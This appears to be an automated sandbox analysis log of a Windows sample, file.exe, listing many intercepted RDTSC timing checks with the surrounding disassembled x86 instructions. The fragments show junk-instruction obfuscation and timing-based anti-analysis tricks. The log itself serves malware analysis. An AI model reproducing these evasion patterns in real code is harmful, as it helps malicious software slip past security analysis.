Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0EEB7 second address: A0EECE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA3Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C8D3 second address: A7C917 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C22201h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FEA38C221FEh 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007FEA38C22201h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C917 second address: A7C932 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C932 second address: A7C950 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEA38C22209h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7CA19 second address: A7CA2B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jl 00007FEA38E8CA36h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7CA2B second address: A7CA30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7CB07 second address: A7CB33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 jl 00007FEA38E8CA3Ah 0x0000000d push eax 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007FEA38E8CA3Bh 0x0000001a mov eax, dword ptr [eax] 0x0000001c je 00007FEA38E8CA40h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A800A0 second address: A800A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A800A7 second address: A800AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A800AD second address: A800B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A800B1 second address: A800C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FEA38E8CA36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007FEA38E8CA3Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80A79 second address: A80AA3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEA38C22201h 0x0000000b pushad 0x0000000c jmp 00007FEA38C22200h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80DAD second address: A80DBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FEA38E8CA36h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80DBC second address: A80DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80DC0 second address: A80DDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEA38E8CA45h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80DDB second address: A80DE2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80DE2 second address: A80DF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jne 00007FEA38E8CA3Ah 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80DF7 second address: A80DFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80DFD second address: A80E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80E05 second address: A80E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80E0E second address: A80E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80E12 second address: A80E1E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80E1E second address: A80E22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81156 second address: A81160 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEA38C221F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A812AD second address: A812B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A812B1 second address: A812D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C22207h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FEA38C221FAh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8557D second address: A85587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A856F8 second address: A85705 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85705 second address: A85709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85709 second address: A8570D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8570D second address: A85716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A858D0 second address: A858F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C22207h 0x00000007 je 00007FEA38C221F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A858F5 second address: A858F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A858F9 second address: A85901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85901 second address: A8590C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8590C second address: A85912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85912 second address: A85918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85C04 second address: A85C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007FEA38C221FEh 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FEA38C221FEh 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 pushad 0x00000018 push edi 0x00000019 pop edi 0x0000001a push edx 0x0000001b pop edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85DC8 second address: A85DCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A550A3 second address: A550A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8619F second address: A861AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FEA38E8CA36h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A861AB second address: A861AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A861AF second address: A861C4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEA38E8CA36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A861C4 second address: A861D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA38C221FAh 0x00000009 jl 00007FEA38C221F6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A861D9 second address: A861DE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87DD2 second address: A87DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FEA38C221F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87DE0 second address: A87DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA38E8CA48h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87DFC second address: A87E00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87E00 second address: A87E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FEA38E8CA36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89FC6 second address: A89FDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FEA38C221FDh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56321 second address: A56340 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56340 second address: A56344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A563F5 second address: A563FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A563FA second address: A5641C instructions: 0x00000000 rdtsc 0x00000002 jns 00007FEA38C22207h 0x00000008 jmp 00007FEA38C22201h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5641C second address: A56422 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56A45 second address: A56A4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56A4B second address: A56A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56A4F second address: A56A53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56A53 second address: A56A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007FEA38E8CA3Ah 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jno 00007FEA38E8CA3Ah 0x00000019 pop eax 0x0000001a movsx edi, dx 0x0000001d push 872BE904h 0x00000022 push esi 0x00000023 pushad 0x00000024 push edi 0x00000025 pop edi 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56D52 second address: A56D56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56E57 second address: A56E7A instructions: 0x00000000 rdtsc 0x00000002 je 00007FEA38E8CA36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 add dword ptr [ebp+122D1B9Dh], ecx 0x00000018 push 00000004h 0x0000001a xor cl, 0000005Bh 0x0000001d nop 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56E7A second address: A56E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56E7E second address: A56EA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FEA38E8CA38h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push esi 0x00000014 pop esi 0x00000015 jmp 00007FEA38E8CA3Fh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56EA3 second address: A56EAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FEA38C221F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56EAD second address: A56EB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57603 second address: A576A4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEA38C2220Fh 0x00000008 jmp 00007FEA38C22209h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 mov dword ptr [ebp+12444244h], edx 0x00000018 call 00007FEA38C22207h 0x0000001d mov di, dx 0x00000020 pop edi 0x00000021 lea eax, dword ptr [ebp+1247A102h] 0x00000027 push 00000000h 0x00000029 push eax 0x0000002a call 00007FEA38C221F8h 0x0000002f pop eax 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 add dword ptr [esp+04h], 0000001Dh 0x0000003c inc eax 0x0000003d push eax 0x0000003e ret 0x0000003f pop eax 0x00000040 ret 0x00000041 mov di, dx 0x00000044 sub dword ptr [ebp+122D2FCFh], edi 0x0000004a nop 0x0000004b jl 00007FEA38C2220Fh 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A576A4 second address: A576B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA38E8CA3Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A576B5 second address: A576BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A576BB second address: A388BB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 movsx edx, ax 0x0000000c lea eax, dword ptr [ebp+1247A0BEh] 0x00000012 pushad 0x00000013 mov edx, ecx 0x00000015 or si, F3B0h 0x0000001a popad 0x0000001b movsx ecx, cx 0x0000001e push eax 0x0000001f push ecx 0x00000020 jnc 00007FEA38E8CA38h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp], eax 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007FEA38E8CA38h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 00000017h 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 call 00007FEA38E8CA3Dh 0x00000049 mov edi, dword ptr [ebp+122D1F85h] 0x0000004f pop edi 0x00000050 call dword ptr [ebp+122D1A8Eh] 0x00000056 push ecx 0x00000057 jmp 00007FEA38E8CA45h 0x0000005c push eax 0x0000005d push edx 0x0000005e push ebx 0x0000005f pop ebx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A903A1 second address: A903B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FEA38C221FBh 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9096F second address: A90977 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A90977 second address: A90980 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93E69 second address: A93E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93E6F second address: A93E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jbe 00007FEA38C221F6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93E7C second address: A93E82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93E82 second address: A93E88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93E88 second address: A93EBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FEA38E8CA3Bh 0x00000012 push edi 0x00000013 pop edi 0x00000014 jmp 00007FEA38E8CA3Fh 0x00000019 jmp 00007FEA38E8CA3Bh 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A13F4C second address: A13F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98C6F second address: A98C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FEA38E8CA41h 0x0000000b popad 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9908E second address: A9909D instructions: 0x00000000 rdtsc 0x00000002 je 00007FEA38C221F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9909D second address: A990A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A991CA second address: A991CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A991CF second address: A991D9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEA38E8CA3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A991D9 second address: A991F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FEA38C22204h 0x0000000b jns 00007FEA38C221F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99451 second address: A99457 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9971A second address: A9971E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9971E second address: A99724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99724 second address: A99732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FEA38C221FEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99BCD second address: A99BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99BD2 second address: A99BD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99BD8 second address: A99BF7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FEA38E8CA46h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98975 second address: A98992 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEA38C221FBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FEA38C221FCh 0x00000011 jp 00007FEA38C221F6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98992 second address: A989A2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop esi 0x00000008 ja 00007FEA38E8CA42h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
